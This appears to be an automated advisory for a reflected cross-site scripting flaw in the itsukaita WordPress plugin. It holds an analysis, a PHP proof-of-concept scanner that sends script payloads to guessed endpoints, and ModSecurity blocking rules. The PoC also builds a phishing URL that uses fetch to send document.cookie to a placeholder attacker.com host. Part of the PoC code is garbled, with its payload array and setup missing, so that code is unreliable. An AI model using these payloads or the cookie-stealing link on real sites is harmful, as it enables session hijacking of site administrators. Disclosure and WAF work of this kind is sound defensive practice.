CVE-2026-2427: itsukaita <= 0.1.2 – Reflected Cross-Site Scripting via 'day_from' Parameter (itsukaita)

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-2427 (metadata-based):nThe itsukaita WordPress plugin version 0.1.2 and earlier contains a reflected cross-site scripting vulnerability. Unauthenticated attackers can inject arbitrary JavaScript via the ‘day_from’ and ‘day_to’ parameters. Successful exploitation requires tricking an administrator into clicking a malicious link, leading to script execution in the administrator’s browser context.nnAtomic Edge research indicates the root cause is insufficient input sanitization and output escaping. The plugin likely echoes user-supplied values from the ‘day_from’ and ‘day_to’ parameters directly into HTML responses without proper escaping. This inference aligns with CWE-79 patterns where user input reaches output generation functions like ‘echo’ or ‘print’ without ‘esc_html()’, ‘esc_attr()’, or similar WordPress escaping functions. Without code diffs, this conclusion remains inferred from the CWE classification and vulnerability description.nnExploitation occurs when an attacker crafts a URL containing malicious JavaScript in the ‘day_from’ or ‘day_to’ parameters. The target endpoint is likely an administrative interface or frontend component that processes date filtering. A typical payload would be alert(document.cookie) or encoded variants. Attackers send the malicious link to administrators via phishing. When an administrator clicks the link, the payload executes in their browser session with administrative privileges.nnRemediation requires implementing proper output escaping. The plugin should use WordPress escaping functions like ‘esc_html()’ or ‘esc_attr()’ before outputting parameter values. Input validation using ‘sanitize_text_field()’ could provide additional defense. The patch must ensure all user-controlled parameters undergo context-appropriate escaping before inclusion in HTML, JavaScript, or attribute contexts.nnSuccessful exploitation allows attackers to execute arbitrary JavaScript with administrator privileges. This can lead to session hijacking, site defacement, or privilege escalation. Attackers could create new administrative accounts, modify plugin settings, or inject backdoors. The CVSS score of 6.1 reflects medium severity due to required user interaction and scope change to the administrator’s browser context.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Concept (metadata-based)n// CVE-2026-2427 – itsukaita <= 0.1.2 – Reflected Cross-Site Scripting via 'day_from' Parameternalert(document.domain)’,n ”>alert(1)’,n ”,n ‘\” onmouseover=alert(1) \”‘,n];nnforeach ($endpoints as $endpoint) {n foreach ($payloads as $payload) {n $url = $target_url . $endpoint . ‘?day_from=’ . urlencode($payload) . ‘&day_to=2024-01-01’;n n $ch = curl_init();n curl_setopt($ch, CURLOPT_URL, $url);n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);n curl_setopt($ch, CURLOPT_USERAGENT, ‘Atomic Edge PoC Scanner’);n n $response = curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n n // Check if payload appears unescaped in responsen $decoded_payload = htmlspecialchars_decode(urldecode($payload), ENT_QUOTES);n if (strpos($response, $decoded_payload) !== false) {n echo “[+] Potential vulnerability found at: $url\n”;n echo “[+] Payload reflected: ” . substr($decoded_payload, 0, 50) . “…\n”;n }n n curl_close($ch);n usleep(100000); // Rate limitingn }n}nn// Example exploitation URL for social engineeringn$exploit_url = $target_url . ‘/?day_from=fetch(“https://attacker.com/steal?c=”+document.cookie)&day_to=2024-01-01’;necho “\n[+] Example malicious URL for phishing:\n$exploit_url\n”;n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-2427 (metadata-based)n# This rule blocks reflected XSS via the ‘day_from’ and ‘day_to’ parameters in the itsukaita pluginn# The rule targets common WordPress endpoints where these parameters might be processednSecRule REQUEST_URI “@rx ^/(wp-admin/(admin-ajax\.php|admin-post\.php)|\?|index\.php)” \n “id:20262427,phase:2,deny,status:403,chain,msg:’CVE-2026-2427: Reflected XSS in itsukaita plugin via day_from/day_to parameters’,severity:’CRITICAL’,tag:’CVE-2026-2427′,tag:’WordPress’,tag:’itsukaita’,tag:’XSS'”n SecRule &ARGS:day_from “@gt 0” “chain”n SecRule ARGS:day_from “@rx [‘\”](on\w+|style|src|href|javascript:|<script|<svg|<img|<iframe)" \n "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"nn# Alternative rule for direct plugin file accessnSecRule REQUEST_URI "@contains /wp-content/plugins/itsukaita/" \n "id:20262428,phase:2,deny,status:403,chain,msg:'CVE-2026-2427: Reflected XSS in itsukaita plugin direct access',severity:'CRITICAL',tag:'CVE-2026-2427',tag:'WordPress',tag:'itsukaita',tag:'XSS'"n SecRule &ARGS:day_from "@gt 0" "chain"n SecRule ARGS:day_from|ARGS:day_to "@rx [‘\”](on\w+|style|src|href|javascript:|<script|<svg|<img|<iframe)" \n "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase""
}
“`